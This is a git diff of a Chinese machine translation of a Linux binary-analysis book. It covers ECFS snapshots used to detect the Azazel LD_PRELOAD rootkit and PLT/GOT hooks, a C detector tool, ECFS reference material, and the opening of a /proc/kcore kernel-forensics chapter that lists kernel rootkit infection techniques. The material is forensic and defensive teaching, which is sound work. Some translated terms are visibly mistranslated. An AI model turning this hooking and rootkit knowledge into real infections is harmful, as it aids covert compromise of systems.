0000000000001000 0000000000000000 A 0 0 8 - [35] libdl-2.19.so.tex SHLIB 00007f0a0cdfc000 00054000 - 0000000000003000 0000000000000000 A 0 0 8 - [36] libdl-2.19.so.und SHLIB 00007f0a0cdff000 00057000 - 00000000001ff000 0000000000000000 A 0 0 8 - [37] libdl-2.19.so.rel SHLIB 00007f0a0cffe000 00057000 - 0000000000001000 0000000000000000 A 0 0 8 - [38] libdl-2.19.so.dat SHLIB 00007f0a0cfff000 00058000 - 0000000000001000 0000000000000000 A 0 0 8 - [39] libc-2.19.so.text SHLIB 00007f0a0d000000 00059000 - 00000000001bb000 0000000000000000 A 0 0 8 - [40] libc-2.19.so.unde SHLIB 00007f0a0d1bb000 00214000 - 00000000001ff000 0000000000000000 A 0 0 8 - [41] libc-2.19.so.relr SHLIB 00007f0a0d3ba000 00214000 - 0000000000004000 0000000000000000 A 0 0 8 - [42] libc-2.19.so.data SHLIB 00007f0a0d3be000 00218000 - 0000000000002000 0000000000000000 A 0 0 8 - [43] azazel.so.text PRELOADED 00007f0a0d3c5000 0021f000 - 0000000000008000 0000000000000000 A 0 0 8 - [44] azazel.so.undef PRELOADED 00007f0a0d3cd000 00227000 - 00000000001ff000 0000000000000000 A 0 0 8 - [45] azazel.so.relro PRELOADED 00007f0a0d5cc000 00227000 - 0000000000001000 0000000000000000 A 0 0 8 - [46] azazel.so.data PRELOADED 00007f0a0d5cd000 00228000 - 0000000000001000 0000000000000000 A 0 0 8 - [47] ld-2.19.so.text SHLIB 00007f0a0d5ce000 00229000 - 0000000000023000 0000000000000000 A 0 0 8 - [48] ld-2.19.so.relro SHLIB 00007f0a0d7f0000 00254000 - 0000000000001000 0000000000000000 A 0 0 8 - [49] ld-2.19.so.data SHLIB 00007f0a0d7f1000 00255000 - 0000000000001000 0000000000000000 A 0 0 8 - [50] .procfs.tgz LOUSER+0 0000000000000000 0027d038 - 00000000000011b6 0000000000000001 0 0 8 - [51] .prstatus PROGBITS 0000000000000000 0027c000 - 0000000000000150 0000000000000150 0 0 8 - [52] .fdinfo PROGBITS 0000000000000000 0027c150 - 0000000000000ac8 0000000000000228 0 0 4 - [53] .siginfo PROGBITS 0000000000000000 0027cc18 - 0000000000000080 0000000000000080 0 0 4 - [54] .auxvector PROGBITS 0000000000000000 0027cc98 - 0000000000000130 0000000000000008 0 0 8 - [55] .exepath PROGBITS 0000000000000000 0027cdc8 - 000000000000001c 0000000000000008 0 0 1 - [56] .personality PROGBITS 0000000000000000 0027cde4 - 0000000000000004 0000000000000004 0 0 1 - [57] .arglist PROGBITS 0000000000000000 0027cde8 - 0000000000000050 0000000000000001 0 0 1 - [58] .fpregset PROGBITS 0000000000000000 0027ce38 - 0000000000000200 0000000000000200 0 0 8 - [59] .stack PROGBITS 00007ffdb9161000 00257000 - 0000000000021000 0000000000000000 WA 0 0 8 - [60] .vdso PROGBITS 00007ffdb918f000 00279000 - 0000000000002000 0000000000000000 WA 0 0 8 - [61] .vsyscall PROGBITS ffffffffff600000 0027b000 - 0000000000001000 0000000000000000 WA 0 0 8 - [62] .symtab SYMTAB 0000000000000000 0027f576 - 0000000000000078 0000000000000018 63 0 4 - [63] .strtab STRTAB 0000000000000000 0027f5ee - 0000000000000037 0000000000000000 0 0 1 - [64] .shstrtab STRTAB 0000000000000000 0027f22e - 0000000000000348 0000000000000000 0 0 1 -``` - -ELF 第 43 到 46 节都是可疑的,因为它们被标记为`PRELOADED`节类型,这表明它们是从一个用`LD_PRELOAD`环境变量预加载的共享库的映射: - -```sh - [43] azazel.so.text PRELOADED 00007f0a0d3c5000 0021f000 - 0000000000008000 0000000000000000 A 0 0 8 - [44] azazel.so.undef PRELOADED 00007f0a0d3cd000 00227000 - 00000000001ff000 0000000000000000 A 0 0 8 - [45] azazel.so.relro PRELOADED 00007f0a0d5cc000 00227000 - 0000000000001000 0000000000000000 A 0 0 8 - [46] azazel.so.data PRELOADED 00007f0a0d5cd000 00228000 - 0000000000001000 0000000000000000 A 0 0 8 -``` - -各种用户使用的 rootkit,如 Azazel,使用`LD_PRELOAD`作为他们的注射手段。 下一步是查看 PLT/GOT(全局偏移表),检查它是否包含指向各自边界之外的函数的指针。 - -你可能还记得,在前面的章节中,GOT 包含了一个指针值表,它应该指向以下任意一个指针: - -* 对应 PLT 表项中的 PLT 存根(还记得第二章中的延迟链接概念吗?,*the ELF Binary Format*) -* 如果链接器已经以某种方式(延迟或严格链接)解析了特定的 GOT 条目,那么它将指向共享库函数,该函数由来自可执行文件`.rela.plt`部分的相应重定位条目表示 - -### 用 ECFS 验证 PLT/GOT - -理解并系统地验证 PLT/GOT 的完整性是一件乏味的手工工作。 幸运的是,有一种非常简单的方法可以使用 ECFS 实现这一点。 如果你更喜欢编写自己的工具,那么你应该使用专门为这个目的设计的`libecfs`函数: - -```sh -ssize_t get_pltgot_info(ecfs_elf_t *desc, pltgot_info_t **pginfo) -``` - -这个函数分配一个 struct 数组,每个元素对应于一个 PLT/GOT 条目。 - -命名为`pltgot_info_t`的 C 结构有以下格式: - -```sh -typedef struct pltgotinfo { - unsigned long got_site; // addr of the GOT entry itself - unsigned long got_entry_va; // pointer value stored in the GOT entry - unsigned long plt_entry_va; // the expected PLT address - unsigned long shl_entry_va; // the expected shared lib function addr -} pltgot_info_t; -``` - -使用此函数的示例可以在`ecfs/libecfs/main/detect_plt_hooks.c`中找到。 这是一个用于检测共享库注入和 PLT/GOT 钩子的简单演示工具,为了清晰起见,将在本章后面给出说明和注释。 `readecfs`实用程序还演示了在传递`-g`标志时`get_pltgot_info()`函数的用法。 - -### 用于 PLT/GOT 验证的 readecfs 输出 - -```sh -- readecfs output for file host2.7254 -- Executable path (.exepath): /home/user/git/azazel/host2 -- Command line: ./host2 -- Printing out GOT/PLT characteristics (pltgot_info_t): -gotsite gotvalue gotshlib pltval symbol -0x601018 0x7f0a0d3c8c81 0x7f0a0d0ed070 0x4004c6 unlink -0x601020 0x7f0a0d06fe30 0x7f0a0d06fe30 0x4004d6 puts -0x601028 0x7f0a0d3c8d77 0x7f0a0d0bcef0 0x4004e6 opendir -0x601030 0x7f0a0d021dd0 0x7f0a0d021dd0 0x4004f6 __libc_start_main -``` - -前面的输出是,很容易解析。 `gotvalue`应该有一个匹配`gotshlib`或`pltval`的地址。 但是,我们可以看到,符号`unlink`的第一个条目有一个地址`0x7f0a0d3c8c81`。 这与预期的共享库函数或 PLT 值不匹配。 - -更多的调查表明,地址指向`azazel.so`中的一个函数。 从前面的输出中,我们可以看到只有两个函数没有被篡改,它们是`puts`和`__libc_start_main`。 为了更深入地了解检测过程,让我们看一下一个工具的源代码,该工具将自动执行 PLT/GOT 验证作为其检测功能的一部分。 这个工具名为`detect_plt_hooks`,是用 c 编写的。它利用 libecfs API 来加载和解析 ECFS 快照。 - -请注意,下面的代码大约有 50 行源代码,这是相当了不起的。 如果我们不使用 ECFS 或 libecfs,则需要大约 3000 行 C 代码来准确分析共享库注入和 PLT/GOT 钩子的进程映像。 我知道这一点,因为我做过,而且使用 libecfs 是迄今为止最轻松的编写此类工具的方法。 - -下面是使用`detect_plt_hooks.c`的代码示例: - -```sh -#include "../include/libecfs.h" - -int main(int argc, char **argv) -{ - ecfs_elf_t *desc; - ecfs_sym_t *dsyms; - char *progname; - int i; - char *libname; - long evil_addr = 0; - - if (argc < 2) { - printf("Usage: %s \n", argv[0]); - exit(0); - } - - /* - * Load the ECFS file and creates descriptor - */ - desc = load_ecfs_file(argv[1]); - /* - * Get the original program name - */ - progname = get_exe_path(desc); - - printf("Performing analysis on '%s' which corresponds to executable: %s\n", argv[1], progname); - - /* - * Look for any sections that are marked as INJECTED - * or PRELOADED, indicating shared library injection - * or ELF object injection. - */ - for (i = 0; i < desc->ehdr->e_shnum; i++) { - if (desc->shdr[i].sh_type == SHT_INJECTED) { - libname = strdup(&desc->shstrtab[desc->shdr[i].sh_name]); - printf("[!] Found malicously injected ET_DYN (Dynamic ELF): %s - base: %lx\n", libname, desc->shdr[i].sh_addr); - } else - if (desc->shdr[i].sh_type == SHT_PRELOADED) { - libname = strdup(&desc->shstrtab[desc->shdr[i].sh_name]); - printf("[!] Found a preloaded shared library (LD_PRELOAD): %s - base: %lx\n", libname, desc->shdr[i].sh_addr); - } - } - /* - * Load and validate the PLT/GOT to make sure that each - * GOT entry points to its proper respective location - * in either the PLT, or the correct shared lib function. - */ - pltgot_info_t *pltgot; - int gotcount = get_pltgot_info(desc, &pltgot); - for (i = 0; i < gotcount; i++) { - if (pltgot[i].got_entry_va != pltgot[i].shl_entry_va && - pltgot[i].got_entry_va != pltgot[i].plt_entry_va && - pltgot[i].shl_entry_va != 0) { - printf("[!] Found PLT/GOT hook: A function is pointing at %lx instead of %lx\n", - pltgot[i].got_entry_va, evil_addr = pltgot[i].shl_entry_va); - /* - * Load the dynamic symbol table to print the - * hijacked function by name. - */ - int symcount = get_dynamic_symbols(desc, &dsyms); - for (i = 0; i < symcount; i++) { - if (dsyms[i].symval == evil_addr) { - printf("[!] %lx corresponds to hijacked function: %s\n", dsyms[i].symval, &dsyms[i].strtab[dsyms[i].nameoffset]); - break; - } - } - } - } - return 0; -} -``` - -# ECFS 参考指南 - -ECFS 文件格式既简单又复杂! ELF 文件格式通常很复杂,而 ECFS 从结构的角度继承了这些复杂性。 在令牌的另一方面,如果您知道流程映像具有哪些特定特性以及要查找什么,那么 ECFS 可以帮助您非常容易地导航流程映像。 - -在前面的小节中,我们给出了一些使用 ECFS 的实际示例,这些示例演示了它的许多主要特性。 然而,有一个简单而直接的引用来说明这些特征是什么也很重要,比如存在哪些自定义部分以及它们的确切含义。 在本节中,我们将提供 ECFS 快照文件的参考。 - -## ECFS 符号表重构 - -ECFS 处理程序使用对 ELF 二进制格式的高级理解,甚至使用 dwarf 调试格式(特别是动态段和`GNU_EH_FRAME`段)来完全重建程序的符号表。 即使原始的二进制文件已经被剥离并且没有节头,ECFS 处理程序也足够智能,可以重新构建符号表。 - -我个人从来没有遇到过符号表重构完全失败的情况。 它通常重新构造所有或大部分符号表项。 可以使用实用程序`readelf`或`readecfs`访问符号表。 libecfs API 还有几个功能: - -```sh -int get_dynamic_symbols(ecfs_elf_t *desc, ecfs_sym_t **syms) -int get_local_symbols(ecfs_elf_t *desc, ecfs_sym_t **syms) -``` - -一个函数获取动态符号表,另一个函数分别获取局部符号表`.dynsym`和`.symtab`。 - -下面是与`readelf`的阅读符号表: - -```sh -$ readelf -s host.6758 - -Symbol table '.dynsym' contains 8 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 00007f3dfd48b000 0 NOTYPE LOCAL DEFAULT UND - 1: 00007f3dfd4f9730 0 FUNC GLOBAL DEFAULT UND fputs - 2: 00007f3dfd4acdd0 0 FUNC GLOBAL DEFAULT UND __libc_start_main - 3: 00007f3dfd4f9220 0 FUNC GLOBAL DEFAULT UND fgets - 4: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ - 5: 00007f3dfd4f94e0 0 FUNC GLOBAL DEFAULT UND fopen - 6: 00007f3dfd54bd00 0 FUNC GLOBAL DEFAULT UND sleep - 7: 00007f3dfd84a870 8 OBJECT GLOBAL DEFAULT 25 stdout - -Symbol table '.symtab' contains 5 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 00000000004004f0 112 FUNC GLOBAL DEFAULT 10 sub_4004f0 - 1: 0000000000400560 42 FUNC GLOBAL DEFAULT 10 sub_400560 - 2: 000000000040064d 138 FUNC GLOBAL DEFAULT 10 sub_40064d - 3: 00000000004006e0 101 FUNC GLOBAL DEFAULT 10 sub_4006e0 - 4: 0000000000400750 2 FUNC GLOBAL DEFAULT 10 sub_400750 -``` - -## ECFS 节标题 - -ECFS 处理程序重新构造程序可能具有的原始段头的大部分。 它还增加了相当多的新的部分和部分类型,可以非常有用的法医分析。 节头由名称和类型标识,并包含数据或代码。 - -解析段头非常容易,因此它们对于创建进程内存映像的映射非常有用。 通过部分头导航整个过程布局比只有程序头(比如常规的核心文件)要容易得多,后者甚至没有字符串名称。 程序头文件用来描述内存段,而段头文件则用来给出给定段的每个部分的上下文。 节头有助于为反向工程提供更高的分辨率。 - - -| - -节标题 - - | - -描述 - - | -| --- | --- | -| `._TEXT` | 这指向文本段(而不是`.text`部分)。 这使得无需解析程序头即可定位文本段。 | -| `._DATA` | 这个指向数据段(而不是`.data`段)。 这使得无需解析程序头即可定位数据段。 | -| `.stack` | 根据线程数,它指向几个可能的堆栈段中的一个。 如果没有一个名为`.stack`的部分,就很难知道进程的实际堆栈在哪里。 您必须查看`%rsp`寄存器的值,然后查看哪些程序头段包含与堆栈指针值匹配的地址范围。 | -| `.heap` | 与`.stack`部分类似,该部分指向堆段,这也使得堆的识别更加容易,特别是在 ASLR 将堆移动到随机位置的系统上。 在较旧的系统上,它总是从数据段扩展而来。 | -| `.bss` | 这部分对于 ECFS 来说并不是新内容。 这里提到它的唯一原因是,对于可执行库或共享库,`.bss`部分不包含任何内容,因为未初始化的数据不会占用磁盘空间。 然而,ECFS 表示内存,并且直到运行时才真正创建`.bss`部分。 ECFS 文件有一个`.bss`部分,它实际反映了进程正在使用的未初始化的数据变量。 | -| `.vdso` | 这个指向[vdso]段,它被映射到每个包含某些`glibc`系统调用包装器调用实际系统调用所必需的代码的 Linux 进程。 | -| `.vsyscall` | 与`.vdso`代码相似,`.vsyscall`页包含仅调用少量虚拟系统调用的代码。 它被保留下来是为了向后兼容。 在逆向工程中知道这个位置可能是有用的。 | -| `.procfs.tgz` | 这个部分包含 ECFS 处理程序捕获的进程`/proc/$pid`的整个目录结构和文件。 如果您是一名热心的法医分析人员或程序员,那么您可能已经知道`proc`文件系统中包含的信息有多么有用。 一个进程在`/proc/$pid`中有超过 300 个文件。 | -| `.prstatus` | 这个节包含一个结构体`elf_prstatus`的数组。 与进程状态和寄存器有关的重要信息存储在以下结构中: - -```sh -struct elf_prstatus - { - struct elf_siginfo pr_info; /* Info associated with signal. */ - short int pr_cursig; /* Current signal. */ - unsigned long int pr_sigpend; /* Set of pending signals. */ - unsigned long int pr_sighold; /* Set of held signals. */ - __pid_t pr_pid; - __pid_t pr_ppid; - __pid_t pr_pgrp; - __pid_t pr_sid; - struct timeval pr_utime; /* User time. */ - struct timeval pr_stime; /* System time. */ - struct timeval pr_cutime; /* Cumulative user time. */ - struct timeval pr_cstime; /* Cumulative system time. */ - elf_gregset_t pr_reg; /* GP registers. */ - int pr_fpvalid; /* True if math copro being used. */ - }; -``` - - | -| `.fdinfo` | 本节包含描述文件描述符、套接字和用于进程打开文件、网络连接和进程间通信的管道的 ECFS 自定义数据。 头文件`ecfs.h`定义了`fdinfo_t`类型: - -```sh -typedef struct fdinfo { - int fd; - char path[MAX_PATH]; - loff_t pos; - unsigned int perms; - struct { - struct in_addr src_addr; - struct in_addr dst_addr; - uint16_t src_port; - uint16_t dst_port; - } socket; - char net; -} fd_info_t; -``` - -`readecfs`实用程序很好地解析和显示了文件描述符信息,如查看 sshd 的 ECFS 快照时所示: - -```sh - [fd: 0:0] perms: 8002 path: /dev/null - [fd: 1:0] perms: 8002 path: /dev/null - [fd: 2:0] perms: 8002 path: /dev/null - [fd: 3:0] perms: 802 path: socket:[10161] - PROTOCOL: TCP - SRC: 0.0.0.0:22 - DST: 0.0.0.0:0 - - [fd: 4:0] perms: 802 path: socket:[10163] - PROTOCOL: TCP - SRC: 0.0.0.0:22 - DST: 0.0.0.0:0 -``` - - | -| `.siginfo` | 这一节包含特定于信号的信息,例如什么信号终止了进程,或者拍摄快照之前的最后一个信号代码是什么。 `siginfo_t struct`存储在这个部分中。 该结构的格式见`/usr/include/bits/siginfo.h`。 | -| `.auxvector` | 它包含了来自堆栈底部的实际辅助向量(最高内存地址)。 辅助向量由内核在运行时设置,它包含在运行时传递给动态连接器的信息。 这些信息可能在许多方面对高级法医分析人员有价值。 | -| `.exepath` | 它保存了为该进程调用的原始可执行路径的字符串,即`/usr/sbin/sshd`。 | -| `.personality` | 此包含人格信息,即 ECFS 人格信息。 一个 8 字节的无符号整数可以设置任意数量的个性标志: - -```sh -#define ELF_STATIC (1 << 1) // if it's statically linked (instead of dynamically) -#define ELF_PIE (1 << 2) // if it's a PIE executable -#define ELF_LOCSYM (1 << 3) // was a .symtab symbol table created by ecfs? -#define ELF_HEURISTICS (1 << 4) // were detection heuristics used by ecfs? -#define ELF_STRIPPED_SHDRS (1 << 8) // did the binary have section headers? -``` - - | -| `.arglist` | 包含本节中作为数组存储的原始`'char **argv'`。 | - -## 使用 ECFS 文件作为常规的核心文件 - -ECFS 核心文件格式本质上是向后兼容常规 Linux 核心文件,因此可以用传统的方式作为核心文件使用 GDB 进行调试。 - -然而,ECFS 文件的 ELF 文件头的`e_type`(ELF 类型)被设置为`ET_NONE`而不是`ET_CORE`。 这是因为核心文件预计不会对部分头但是 ecf 文件有部分标题,并确保他们承认某些公用事业如`objdump`,`objcopy`,等等,我们将它们标记为核心文件以外的文件。 在 ECFS 文件中切换 ELF 类型的最快方法是使用 ECFS 软件套件附带的`et_flip`实用程序。 - -下面是一个在 ECFS 核心文件中使用 GDB 的例子: - -```sh -$ gdb -q /usr/sbin/sshd sshd.1195 -Reading symbols from /usr/sbin/sshd...(no debugging symbols found)...done. -"/opt/ecfs/cores/sshd.1195" is not a core dump: File format not recognized -(gdb) quit -``` - -下面是将 ELF 文件类型更改为`ET_CORE`并再次尝试的示例: - -```sh -$ et_flip sshd.1195 -$ gdb -q /usr/sbin/sshd sshd.1195 -Reading symbols from /usr/sbin/sshd...(no debugging symbols found)...done. -[New LWP 1195] -[Thread debugging using libthread_db enabled] -Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". -Core was generated by `/usr/sbin/sshd -D'. -Program terminated with signal SIGSEGV, Segmentation fault. -#0 0x00007ff4066b8d83 in __select_nocancel () at ../sysdeps/unix/syscall-template.S:81 -81 ../sysdeps/unix/syscall-template.S: No such file or directory. -(gdb) -``` - -## libecfs API 及其使用方法 - -libecfs API 是将 ECFS 支持集成到恶意软件分析和 Linux 反向工程工具中的关键组件。 关于这个图书馆的文档太多了,无法在本书的一章里一一介绍。 我建议你使用手册,它仍在随着项目的发展而发展: - -[https://github.com/elfmaster/ecfs/blob/master/Documentation/libecfs_manual.txt](https://github.com/elfmaster/ecfs/blob/master/Documentation/libecfs_manual.txt) - -# 使用 ECFS 处理巫术 - -您是否曾经希望能够在 Linux 中暂停和恢复进程? 在设计 ECFS 之后,很快就发现它们包含了关于进程及其状态的足够信息,可以将它们重新启动到内存中,以便在上次停止的地方开始执行。 该特性有许多可能的用例,需要进行更多的研究和开发。 - -目前,ECFS 快照执行的实现是基本的,只能处理简单的流程。 在撰写本章时,它可以恢复文件流,但不能恢复套接字或管道,并且只能处理单线程进程。 执行 ECFS 快照的软件可以在 GitHub 上的[https://github.com/elfmaster/ecfs_exec](https://github.com/elfmaster/ecfs_exec)找到。 - -下面是一个快照执行的例子: - -```sh -$ ./print_passfile -root:x:0:0:root:/root:/bin/bash -daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -bin:x:2:2:bin:/bin:/usr/sbin/nologin -sys:x:3:3:sys:/dev:/usr/sbin/nologin -sync:x:4:65534:sync:/bin:/bin/sync -games:x:5:60:games:/usr/games:/usr/sbin/nologin -man:x:6:12:man:/var/cache/man:/usr/sbin/nologin -lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin - -– interrupted by snapshot - -``` - -现在我们有了 ECFS 快照文件 print_passfile.6627 (其中 6627 是进程 ID)。 我们将使用 ecfs_exec 来执行这个快照,它应该从它停止的地方开始: - -```sh -$ ecfs_exec ./print_passfile.6627 -[+] Using entry point: 7f79a0473f20 -[+] Using stack vaddr: 7fff8c752738 -mail:x:8:8:mail:/var/mail:/usr/sbin/nologin -news:x:9:9:news:/var/spool/news:/usr/sbin/nologin -uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin -proxy:x:13:13:proxy:/bin:/usr/sbin/nologin -www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin -backup:x:34:34:backup:/var/backups:/usr/sbin/nologin -list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin -irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin -gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin -nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin -syslog:x:101:104::/home/syslog:/bin/false -messagebus:x:102:106::/var/run/dbus:/bin/false -usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false -dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false -avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false -kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false -saned:x:108:115::/home/saned:/bin/false -whoopsie:x:109:116::/nonexistent:/bin/false -speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh -avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false -lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false -colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false -hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false -pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false -statd:x:116:65534::/var/lib/nfs:/bin/false -guest-ieu5xg:x:117:126:Guest,,,:/tmp/guest-ieu5xg:/bin/bash -sshd:x:118:65534::/var/run/sshd:/usr/sbin/nologin -gdm:x:119:128:Gnome Display Manager:/var/lib/gdm:/bin/false -``` - -这是一个非常简单的演示`ecfs_exec`是如何工作的。 它使用来自`.fdinfo`节的文件描述符信息来学习文件描述符编号、文件路径和文件偏移量。 它还使用`.prstatus`和`.fpregset`节来学习寄存器状态,以便从停止的地方继续执行。 - -# 了解更多有关 ECFS - -扩展核心文件快照技术 ECFS 仍然是相对较新的技术。 我在 23 号战备会议上展示了它([https://www.defcon.org/html/defcon-23/dc-23-speakers.html#O%27Neill](https://www.defcon.org/html/defcon-23/dc-23-speakers.html#O%27Neill)),这个消息仍在传播。 希望一个社区会不断发展,更多的人会开始在他们的日常取证工作和工具中采用 ECFS。 尽管如此,在这一点上,有几个现有的 ECFS 资源: - -GitHub 官方页面:[https://github.com/elfmaster/ecfs](https://github.com/elfmaster/ecfs) - -* 原白皮书(过时):[http://www.leviathansecurity.com/white-papers/extending-the-elf-core-format-for-forensics-snapshots](http://www.leviathansecurity.com/white-papers/extending-the-elf-core-format-for-forensics-snapshots) -* 一篇来自 POC || GTFO 0x7 的文章:*创新与核心文件*,[https://speakerdeck.com/ange/poc-gtfo-issue-0x07-1](https://speakerdeck.com/ange/poc-gtfo-issue-0x07-1) - -# 总结 - -在本章中,我们介绍了 ECFS 快照技术和快照格式的基础知识。 我们使用几个真实的实例对 ECFS 进行了试验,甚至编写了一个工具来检测共享库注入和使用 libecfs C 库的 PLT/GOT 钩子。 在下一章中,我们将跳出用户世界,探索 Linux 内核,vmlinux 的布局,以及内核 rootkit 和取证技术的组合。* \ No newline at end of file diff --git a/docs/learn-linux-bin-anal/9.md b/docs/learn-linux-bin-anal/9.md deleted file mode 100644 index cd74a7b9..00000000 --- a/docs/learn-linux-bin-anal/9.md +++ /dev/null @@ -1,472 +0,0 @@ -# 九、Linux `/proc/kcore`分析 - -到目前为止,我们已经讨论了 Linux 二进制文件和内存,因为它属于用户域。 然而,如果我们不花一章的时间来讨论 Linux 内核,这本书就不会完整。 这是因为它实际上也是一个 ELF 二进制文件。 与程序加载到内存的方式类似,Linux 内核映像(也称为**vmlinux**)在引导时加载到内存中。 它有一个文本段和一个数据段,上面覆盖着许多特定于内核的分段头,你不会在用户区可执行文件中看到这些。 在本章中,我们还将简要介绍 lkm,因为它们也是 ELF 文件。 - -# Linux 内核取证和 rootkit - -如果您想成为 Linux 内核取证的真正大师,那么学习 Linux 内核映像的布局非常重要。 攻击者可以修改内核内存来创建非常复杂的内核 rootkit。 有相当多的技术可以在运行时感染内核。 列出一些,我们有以下: - -* 一种`sys_call_table`感染 -* 中断处理程序打补丁 -* 函数蹦床 -* 调试寄存器 rootkit -* 感染异常表 -* Kprobe 仪器 - -这里列出的技术是内核 rootkit 最常用的主要方法,内核 rootkit 通常以**LKM**(简称**可加载内核模块**)的形式感染内核。 了解每一种技术,并知道每个感染驻留在 Linux 内核中的位置,以及在内存中查找的位置,对于能够检测这类潜伏的 Linux 恶意软件至关重要。 然而,首先,让我们后退一步,看看我们需要使用什么。 目前,市场上和开源世界中有许多工具能够检测内核 rootkit 并帮助搜索内存感染。 我们不会讨论这些。 然而,我们将讨论来自 Voodoo 内核的方法。 Kernel Voodoo 是我的一个项目,除了向公众发布了一些组件,比如**taskverse**,它大部分仍然是私有的。 这将在本章后面讨论,并提供从下载的链接。 它使用一些非常实用的技术来检测几乎任何类型的内核感染。 该软件基于我的原创作品内核侦探的想法,这是 2009 年设计的,好奇的人可以在我的网站[http://www.bitlackeys.org/#kerneldetective](http://www.bitlackeys.org/#kerneldetective)上找到它。 - -该软件只能在较旧的 32 位 Linux 内核(2.6.0 到 2.6.32)上工作; 64 位支持只是部分完成。 这个项目中的一些想法是永恒的,然而,我最近提取了它们,并结合了一些新的想法。 其结果是 Kernel Voodoo,一个主机入侵检测系统,以及内核取证软件,它依赖于/proc/kcore 进行高级内存获取和分析。 在本章中,我们将讨论它使用的一些基本技术,在某些情况下,我们将在 GDB 和/proc/kcore 中手工使用它们。 - -# 普通 vmlinux 没有符号 - -除非您编译了自己的内核,否则您不会有一个容易访问的 vmlinux,它是一个 ELF 可执行文件。 相反,您将在`/boot`中拥有一个压缩的内核,通常命名为`vmlinuz-`。 这个压缩的内核映像可以解压,但是结果是一个没有符号表的内核可执行文件。 这给分析人员或使用 GDB 调试内核带来了问题。 在这种情况下,大多数人的解决方案是希望他们的 Linux 发行版有一个特殊的包,其内核版本有调试符号。 如果是这样,那么他们可以从发行库中下载带有符号的内核副本。 然而,在许多情况下,这是不可能的,或者因为这样或那样的原因不方便。 尽管如此,这个问题可以通过我在 2014 年设计并发布的一个自定义实用程序来解决。 这个工具被称为**kdress**,因为它对内核符号表进行着装。 - -实际上,它是以迈克尔·扎勒夫斯基的一种旧工具命名的,叫做连衣裙。 该工具将使用符号表修饰静态可执行文件。 这个名称源于这样一个事实,即人们运行一个名为**的程序条带**来从可执行文件中删除符号,因此“dress”对于重新构建符号表的工具来说是一个合适的名称。 我们的工具 kdress 只从`System.map`文件或`/proc/kallsyms`文件中获取有关符号的信息,具体取决于哪个更容易获得。 然后,它通过为符号表创建一个 section 头来将该信息重新构造到内核可执行文件中。 这个工具可以在我的 GitHub 配置文件[https://github.com/elfmaster/kdress](https://github.com/elfmaster/kdress)找到。 - -## 使用 kdress 构建一个正确的 vmlinux - -下面是一个例子,展示了如何使用 kdress 工具构建一个可以通过 GDB 加载的 vmlinux 映像: - -```sh -Usage: ./kdress vmlinuz_input vmlinux_output - -$ ./kdress /boot/vmlinuz-`uname -r` vmlinux /boot/System.map-`uname -r` -[+] vmlinux has been successfully extracted -[+] vmlinux has been successfully instrumented with a complete ELF symbol table. -``` - -该实用程序创建了一个名为 vmlinux 的输出文件,它有一个完全重构的符号表。 例如,如果我们想在内核中定位`sys_call_table`,那么我们可以很容易地找到它: - -```sh -$ readelf -s vmlinux | grep sys_call_table - 34214: ffffffff81801460 4368 OBJECT GLOBAL DEFAULT 4 sys_call_table - 34379: ffffffff8180c5a0 2928 OBJECT GLOBAL DEFAULT 4 ia32_sys_call_table -``` - -拥有带有符号的内核映像对于调试和取证分析都是非常重要的。 几乎所有关于 Linux 内核的取证都可以用 GDB 和`/proc/kcore`来完成。 - -# /proc/kcore 和 GDB 探索 - -`/proc/kcore`技术是一个访问内核内存的接口,它以 ELF 核心文件的形式方便地呈现出来,可以通过 GDB 轻松地进行导航。 - -使用 GDB 和`/proc/kcore`是一种无价的技术,可以扩展到为熟练的分析师进行非常深入的取证。 下面是一个展示如何导航`sys_call_table`的简单示例。 - -## 导航 sys_call_table 示例 - -```sh -$ sudo gdb -q vmlinux /proc/kcore -Reading symbols from vmlinux... -[New process 1] -Core was generated by `BOOT_IMAGE=/vmlinuz-3.16.0-49-generic root=/dev/mapper/ubuntu--vg-root ro quiet'. -#0 0x0000000000000000 in ?? () -(gdb) print &sys_call_table -$1 = ( *) 0xffffffff81801460 -(gdb) x/gx &sys_call_table -0xffffffff81801460 : 0xffffffff811d5260 -(gdb) x/5i 0xffffffff811d5260 - 0xffffffff811d5260 : data32 data32 data32 xchg %ax,%ax - 0xffffffff811d5265 : push %rbp - 0xffffffff811d5266 : mov %rsp,%rbp - 0xffffffff811d5269 : push %r14 - 0xffffffff811d526b :mov %rdx,%r14 -``` - -在本例中,我们可以查看`sys_call_table[0]`中保存的第一个指针,并确定它包含了 syscall 函数`sys_read`的地址。 然后我们可以看看该系统调用的前 5 条指令。 这是一个使用 GDB 和`/proc/kcore`导航内核内存是多么容易的例子。 如果安装了带有蹦床函数的内核 rootkit,那么显示前几个指令将显示跳转或返回到另一个恶意函数。 如果您知道要查找什么,那么以这种方式使用调试器来检测内核 rootkit 是非常有用的。 Linux 内核的结构上的细微差别以及它是如何被感染的都是高级的话题,对许多人来说似乎是深奥的。 一章不足以完全揭开所有这些神秘的面纱,但我们将涵盖可能被用来感染内核和检测感染的方法。 在下面几节中,我将从一般的角度讨论几种感染内核的方法,并给出一些示例。 - -### 注意事项 - -仅使用 GDB 和`/proc/kcore`,就有可能检测到本章中提到的所有类型的感染。 像内核 Voodoo 